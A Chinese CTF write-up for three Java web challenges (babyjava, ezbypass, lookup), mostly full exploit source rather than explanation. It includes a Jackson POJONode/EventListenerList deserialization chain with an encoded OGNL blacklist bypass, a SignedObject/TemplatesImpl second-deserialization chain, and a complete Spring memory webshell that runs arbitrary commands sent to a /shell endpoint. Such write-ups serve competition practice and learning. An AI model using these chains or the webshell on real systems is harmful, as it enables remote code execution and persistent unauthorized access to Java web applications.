湖南省赛
初赛 babyjava
https://mp.weixin.qq.com/s/bLQseqFEEpG0UE7aHIIYtg
filter可url编码绕过
没过滤,Jackson原生链直接打
CTF-Java-Gadget/src/main/java/com/xiinnn/commonly/POJOJackson.java at master · LxxxSec/CTF-Java-Gadget (github.com)
拿大头师傅的项目直接打通
决赛 ezbypass
这个题思路还是挺简单的,但是ognl那里我自己绕不过,刷题刷少了,给的文件如下
hint是jar包不过没密码,start.sh如下
#!/bin/bash
rm -rf /start.sh
echo $FLAG > /flag
chmod 400 /flag
unset $FLAG
su - player -c "/usr/local/openjdk-17/bin/java -jar /app/ezbypass-0.0.1-SNAPSHOT.jar"
首先利用index的文件读取去读jar包,但是这里过滤了file协议,利用url:file可以读/etc/passwd
但是我读jar失败了不知道为啥,不过后面给了源码压缩包密码
那么首先就是反序列化了
@Controller
public class Backdoor {
@ResponseBody
@RequestMapping(value={"/bbbbbackd00r"})
public String backdoor(String data) throws IOException, ClassNotFoundException {
if (data == null) {
return "backdoor here";
}
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(decode);
ObjectInputStream ois = new ObjectInputStream(bis);
Object object = ois.readObject();
return object.toString();
}
}
依赖如下
可以看到有h2和ognl,h2我没想到啥思路,我这里想到的思路就是反序列化触发ognl,在jdk17下反射有限制但是可以利用Unsafe
绕过
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = test.class; //修改为你所在的类
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
这样之后就能正常反射,具体没研究了网上很多分析文章,有jackson那么可以利用POJONode
类去触发getter,还需要一个触发POJONode
的toString方法的类,经典的BadAttributeValueExpException
类在jdk17下无法使用,不过有个前不久爆出来的EventListenerList
可以用,那么现在就差个sink点了,出题人在User类下写了个getResult
方法这个类也是可以被序列化的,刚好是getter看看这个方法
public String getResult() {
try {
if (!this.filter().booleanValue()) {
OgnlContext ognlContext = new OgnlContext();
System.out.println("called");
return Ognl.getValue((String)this.desc, (Object)ognlContext).toString();
}
return "hacker! ";
}
catch (OgnlException var2) {
return "fail";
}
}
}
可以看到典型的ognl注入,但是有黑名单
String[] BlackList = new String[]{"\"", "'", "\\", "invoke", "getclass", "$", "{", "}", "java", "runtime", "script", "process", "start", "flag", "exec", "req", "new", "engine"};
最终看别人的wp,利用ASCII编码+双重ognl绕过
String cmd = "(#a = @String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(35))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(61))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(103))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(46))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(120))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(108))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(41)),#ognl = @ognl.Ognl@getValue(#a, @String@class))";
构造命令的脚本
cmd = "(#a = @Runtime@getRuntime().exec(\"calc\"))"
for i in range(len(cmd)):
print(f"@String@valueOf(@Character@valueOf({ord(cmd[i])}))", end="+")
exp如下
package com.example.ezbypass.payload;
import com.example.ezbypass.entity.User;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.misc.Unsafe;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.*;
import jdk.jshell.*;
public class test {
public static void main(String[] args) throws Exception{
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = test.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
String cmd = "(#a = @String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(35))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(61))+@String@valueOf(@Character@valueOf(32))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(64))+@String@valueOf(@Character@valueOf(103))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(82))+@String@valueOf(@Character@valueOf(117))+@String@valueOf(@Character@valueOf(110))+@String@valueOf(@Character@valueOf(116))+@String@valueOf(@Character@valueOf(105))+@String@valueOf(@Character@valueOf(109))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(46))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(120))+@String@valueOf(@Character@valueOf(101))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(40))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(97))+@String@valueOf(@Character@valueOf(108))+@String@valueOf(@Character@valueOf(99))+@String@valueOf(@Character@valueOf(34))+@String@valueOf(@Character@valueOf(41))+@String@valueOf(@Character@valueOf(41)),#ognl = @ognl.Ognl@getValue(#a, @String@class))";
User user = new User("chenxun", cmd);
POJONode node = new POJONode(user);
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(node);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
byte[] bytes = serialize(list);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(bytes)));
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
}
哎,没咋写过ognl,绕了半天死活绕不过,后面看wp又发现根本不用自己调toString方法,我那方法纯属多余了,眼瞎了。。。这里湖南人文的环境反弹shell需要base64一下
鹏城杯 lookup
很直接的反序列化
自己重写了一下反序列化,定义了黑名单,看看黑名单
这里最关键的TemplatesImpl
在黑名单,hashMap也在里面,但是有jackson依赖,直接打二次反序列化即可
payload如下
package com.xiinnn.commonly;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
public class Jackson2SignedObject {
public static void main(String[] args) throws Exception{
byte[] code = getTemplates();
// byte[][] codes = {code};
byte[] codes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{codes});
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
Object templatesImplAopProxy = makeTemplatesImplAopProxy(templates);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) templatesImplAopProxy, kp.getPrivate(), Signature.getInstance("DSA"));
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException bave = new BadAttributeValueExpException(null);
setFieldValue(bave, "val", node);
byte[] bytes = serialize(bave);
writeToFile(bytes,"1.bin");
System.out.println(Base64.getEncoder().encodeToString(bytes));
// unserialize(bytes);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
// 将字节数组写入到文件中
public static void writeToFile(byte[] bytes, String filePath) throws IOException {
FileOutputStream fos = new FileOutputStream(filePath);
fos.write(bytes);
fos.close();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
环境原因打个内存马
package com.xiinnn.commonly;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
// hi.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}